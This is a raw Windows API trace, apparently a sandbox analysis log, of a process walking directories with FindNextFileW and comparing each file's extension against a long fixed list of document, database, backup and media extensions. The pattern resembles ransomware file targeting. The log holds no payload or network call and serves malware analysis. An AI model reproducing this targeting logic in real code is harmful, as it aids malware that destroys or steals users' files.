5 [0253.343] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0253.343] lstrlenW (lpString=".dotx") returned 5 [0253.343] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0253.343] lstrlenW (lpString=".dpx") returned 4 [0253.343] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0253.343] lstrlenW (lpString=".dqy") returned 4 [0253.343] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0253.343] lstrlenW (lpString=".dsn") returned 4 [0253.343] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0253.343] lstrlenW (lpString=".dt") returned 3 [0253.343] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0253.343] lstrlenW (lpString=".dtd") returned 4 [0253.343] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0253.343] lstrlenW (lpString=".dwg") returned 4 [0253.343] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0253.343] lstrlenW (lpString=".dwt") returned 4 [0253.343] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0253.343] lstrlenW (lpString=".dx") returned 3 [0253.343] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0253.343] lstrlenW (lpString=".dxf") returned 4 [0253.343] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0253.344] lstrlenW (lpString=".edml") returned 5 [0253.344] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0253.344] lstrlenW (lpString=".efd") returned 4 [0253.344] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0253.344] lstrlenW (lpString=".elf") returned 4 [0253.344] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0253.344] lstrlenW (lpString=".emf") returned 4 [0253.344] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0253.344] lstrlenW (lpString=".emz") returned 4 [0253.344] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0253.344] lstrlenW (lpString=".epf") returned 4 [0253.344] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0253.344] lstrlenW (lpString=".eps") returned 4 [0253.344] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0253.344] lstrlenW (lpString=".epsf") returned 5 [0253.344] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0253.344] lstrlenW (lpString=".epsp") returned 5 [0253.344] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0253.344] lstrlenW (lpString=".erf") returned 4 [0253.344] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0253.344] lstrlenW (lpString=".exr") returned 4 [0253.344] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0253.344] lstrlenW (lpString=".f4v") returned 4 [0253.344] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0253.344] lstrlenW (lpString=".fido") returned 5 [0253.344] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0253.344] lstrlenW (lpString=".flm") returned 4 [0253.344] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0253.344] lstrlenW (lpString=".flv") returned 4 [0253.345] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0253.345] lstrlenW (lpString=".frm") returned 4 [0253.345] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0253.345] lstrlenW (lpString=".fxg") returned 4 [0253.345] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0253.345] lstrlenW (lpString=".geo") returned 4 [0253.345] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0253.345] lstrlenW (lpString=".gif") returned 4 [0253.345] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0253.345] lstrlenW (lpString=".grs") returned 4 [0253.345] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0253.345] lstrlenW (lpString=".gz") returned 3 [0253.345] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0253.345] lstrlenW (lpString=".h") returned 2 [0253.345] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0253.345] lstrlenW (lpString=".hdr") returned 4 [0253.345] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0253.345] lstrlenW (lpString=".hpp") returned 4 [0253.345] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0253.345] lstrlenW (lpString=".hta") returned 4 [0253.345] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0253.345] lstrlenW (lpString=".htc") returned 4 [0253.345] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0253.345] lstrlenW (lpString=".htm") returned 4 [0253.345] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0253.345] lstrlenW (lpString=".html") returned 5 [0253.345] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0253.345] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0253.346] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0253.346] lstrlenW (lpString=".1cd") returned 4 [0253.346] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0253.346] lstrlenW (lpString=".3ds") returned 4 [0253.346] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0253.346] lstrlenW (lpString=".3fr") returned 4 [0253.346] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0253.346] lstrlenW (lpString=".3g2") returned 4 [0253.346] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0253.346] lstrlenW (lpString=".3gp") returned 4 [0253.346] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0253.346] lstrlenW (lpString=".7z") returned 3 [0253.346] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0253.346] lstrlenW (lpString=".accda") returned 6 [0253.346] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0253.346] lstrlenW (lpString=".accdb") returned 6 [0253.346] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0253.346] lstrlenW (lpString=".accdc") returned 6 [0253.346] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0253.346] lstrlenW (lpString=".accde") returned 6 [0253.346] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0253.346] lstrlenW (lpString=".accdt") returned 6 [0253.346] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0253.346] lstrlenW (lpString=".accdw") returned 6 [0253.346] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0253.346] lstrlenW (lpString=".adb") returned 4 [0253.346] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0253.346] lstrlenW (lpString=".adp") returned 4 [0253.347] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0253.347] lstrlenW (lpString=".ai") returned 3 [0253.347] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0253.347] lstrlenW (lpString=".ai3") returned 4 [0253.347] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0253.347] lstrlenW (lpString=".ai4") returned 4 [0253.347] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0253.347] lstrlenW (lpString=".ai5") returned 4 [0253.347] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0253.347] lstrlenW (lpString=".ai6") returned 4 [0253.347] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0253.347] lstrlenW (lpString=".ai7") returned 4 [0253.347] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0253.347] lstrlenW (lpString=".ai8") returned 4 [0253.347] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0253.347] lstrlenW (lpString=".anim") returned 5 [0253.347] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0253.347] lstrlenW (lpString=".arw") returned 4 [0253.347] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0253.347] lstrlenW (lpString=".as") returned 3 [0253.347] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0253.347] lstrlenW (lpString=".asa") returned 4 [0253.347] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0253.347] lstrlenW (lpString=".asc") returned 4 [0253.347] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0253.348] lstrlenW (lpString=".ascx") returned 5 [0253.348] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0253.348] lstrlenW (lpString=".asm") returned 4 [0253.348] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0253.348] lstrlenW (lpString=".asmx") returned 5 [0253.348] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0253.348] lstrlenW (lpString=".asp") returned 4 [0253.348] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0253.348] lstrlenW (lpString=".aspx") returned 5 [0253.348] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0253.348] lstrlenW (lpString=".asr") returned 4 [0253.348] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0253.348] lstrlenW (lpString=".asx") returned 4 [0253.348] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0253.348] lstrlenW (lpString=".avi") returned 4 [0253.348] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0253.348] lstrlenW (lpString=".avs") returned 4 [0253.348] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0253.348] lstrlenW (lpString=".backup") returned 7 [0253.348] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0253.348] lstrlenW (lpString=".bak") returned 4 [0253.348] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0253.348] lstrlenW (lpString=".bay") returned 4 [0253.348] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0253.348] lstrlenW (lpString=".bd") returned 3 [0253.348] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0253.348] lstrlenW (lpString=".bin") returned 4 [0253.348] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0253.348] lstrlenW (lpString=".bmp") returned 4 [0253.349] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0253.349] lstrlenW (lpString=".bz2") returned 4 [0253.349] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0253.349] lstrlenW (lpString=".c") returned 2 [0253.349] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0253.349] lstrlenW (lpString=".cdr") returned 4 [0253.349] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0253.349] lstrlenW (lpString=".cer") returned 4 [0253.349] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0253.349] lstrlenW (lpString=".cf") returned 3 [0253.349] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0253.349] lstrlenW (lpString=".cfc") returned 4 [0253.349] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0253.349] lstrlenW (lpString=".cfm") returned 4 [0253.349] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0253.349] lstrlenW (lpString=".cfml") returned 5 [0253.349] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0253.349] lstrlenW (lpString=".cfu") returned 4 [0253.349] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0253.349] lstrlenW (lpString=".chm") returned 4 [0253.349] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0253.349] lstrlenW (lpString=".cin") returned 4 [0253.349] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0253.349] lstrlenW (lpString=".class") returned 6 [0253.349] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0253.349] lstrlenW (lpString=".clx") returned 4 [0253.349] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0253.349] lstrlenW (lpString=".config") returned 7 [0253.350] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0253.350] lstrlenW (lpString=".cpp") returned 4 [0253.350] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0253.350] lstrlenW (lpString=".cr2") returned 4 [0253.350] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0253.350] lstrlenW (lpString=".crt") returned 4 [0253.350] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0253.350] lstrlenW (lpString=".crw") returned 4 [0253.350] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0253.350] lstrlenW (lpString=".cs") returned 3 [0253.350] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0253.350] lstrlenW (lpString=".css") returned 4 [0253.350] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0253.350] lstrlenW (lpString=".csv") returned 4 [0253.350] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0253.350] lstrlenW (lpString=".cub") returned 4 [0253.350] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0253.350] lstrlenW (lpString=".dae") returned 4 [0253.350] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0253.350] lstrlenW (lpString=".dat") returned 4 [0253.350] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0253.350] lstrlenW (lpString=".db") returned 3 [0253.350] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0253.350] lstrlenW (lpString=".dbf") returned 4 [0253.350] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0253.350] lstrlenW (lpString=".dbx") returned 4 [0253.350] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0253.350] lstrlenW (lpString=".dc3") returned 4 [0253.350] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0253.351] lstrlenW (lpString=".dcm") returned 4 [0253.351] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0253.351] lstrlenW (lpString=".dcr") returned 4 [0253.351] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0253.351] lstrlenW (lpString=".der") returned 4 [0253.351] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0253.351] lstrlenW (lpString=".dib") returned 4 [0253.351] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0253.351] lstrlenW (lpString=".dic") returned 4 [0253.351] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0253.351] lstrlenW (lpString=".dif") returned 4 [0253.351] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0253.351] lstrlenW (lpString=".divx") returned 5 [0253.351] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0253.351] lstrlenW (lpString=".djvu") returned 5 [0253.351] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0253.351] lstrlenW (lpString=".dng") returned 4 [0253.351] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0253.351] lstrlenW (lpString=".doc") returned 4 [0253.351] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0253.351] lstrlenW (lpString=".docm") returned 5 [0253.351] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0253.351] lstrlenW (lpString=".docx") returned 5 [0253.351] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0253.351] lstrlenW (lpString=".dot") returned 4 [0253.351] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0253.351] lstrlenW (lpString=".dotm") returned 5 [0253.351] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0253.352] lstrlenW (lpString=".dotx") returned 5 [0253.352] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0253.352] lstrlenW (lpString=".dpx") returned 4 [0253.352] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0253.352] lstrlenW (lpString=".dqy") returned 4 [0253.352] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0253.352] lstrlenW (lpString=".dsn") returned 4 [0253.352] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0253.352] lstrlenW (lpString=".dt") returned 3 [0253.352] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0253.352] lstrlenW (lpString=".dtd") returned 4 [0253.352] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0253.352] lstrlenW (lpString=".dwg") returned 4 [0253.352] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0253.352] lstrlenW (lpString=".dwt") returned 4 [0253.352] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0253.352] lstrlenW (lpString=".dx") returned 3 [0253.352] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0253.352] lstrlenW (lpString=".dxf") returned 4 [0253.352] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0253.352] lstrlenW (lpString=".edml") returned 5 [0253.352] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0253.352] lstrlenW (lpString=".efd") returned 4 [0253.352] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0253.352] lstrlenW (lpString=".elf") returned 4 [0253.352] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0253.352] lstrlenW (lpString=".emf") returned 4 [0253.352] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0253.353] lstrlenW (lpString=".emz") returned 4 [0253.353] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0253.353] lstrlenW (lpString=".epf") returned 4 [0253.353] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0253.353] lstrlenW (lpString=".eps") returned 4 [0253.353] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0253.353] lstrlenW (lpString=".epsf") returned 5 [0253.353] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0253.353] lstrlenW (lpString=".epsp") returned 5 [0253.353] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0253.353] lstrlenW (lpString=".erf") returned 4 [0253.353] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0253.353] lstrlenW (lpString=".exr") returned 4 [0253.353] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0253.353] lstrlenW (lpString=".f4v") returned 4 [0253.353] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0253.353] lstrlenW (lpString=".fido") returned 5 [0253.353] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0253.353] lstrlenW (lpString=".flm") returned 4 [0253.353] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0253.353] lstrlenW (lpString=".flv") returned 4 [0253.353] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0253.353] lstrlenW (lpString=".frm") returned 4 [0253.353] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0253.353] lstrlenW (lpString=".fxg") returned 4 [0253.353] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0253.353] lstrlenW (lpString=".geo") returned 4 [0253.353] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0253.353] lstrlenW (lpString=".gif") returned 4 [0253.354] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0253.354] lstrlenW (lpString=".grs") returned 4 [0253.354] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0253.354] lstrlenW (lpString=".gz") returned 3 [0253.354] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0253.354] lstrlenW (lpString=".h") returned 2 [0253.354] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0253.354] lstrlenW (lpString=".hdr") returned 4 [0253.354] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0253.354] lstrlenW (lpString=".hpp") returned 4 [0253.354] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0253.354] lstrlenW (lpString=".hta") returned 4 [0253.354] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0253.354] lstrlenW (lpString=".htc") returned 4 [0253.354] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0253.354] lstrlenW (lpString=".htm") returned 4 [0253.354] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0253.354] lstrlenW (lpString=".html") returned 5 [0253.354] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0253.354] lstrlenW (lpString=".icb") returned 4 [0253.354] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0253.354] lstrlenW (lpString=".ics") returned 4 [0253.354] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0253.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.356] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0253.360] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.360] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xee2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageSelector.js", cAlternateFileName="LANGUA~1.JS")) returned 1 [0253.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.364] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0253.413] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.413] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0253.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.415] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1f852a00, ftLastWriteTime.dwHighDateTime=0x1d3225d, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata.json", cAlternateFileName="METADA~1.JSO")) returned 1 [0253.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.417] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0253.419] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.420] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-BE", cAlternateFileName="")) returned 1 [0253.422] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.422] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0253.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.424] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nn-NO", cAlternateFileName="")) returned 1 [0253.426] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.426] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0253.451] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.451] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0253.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) 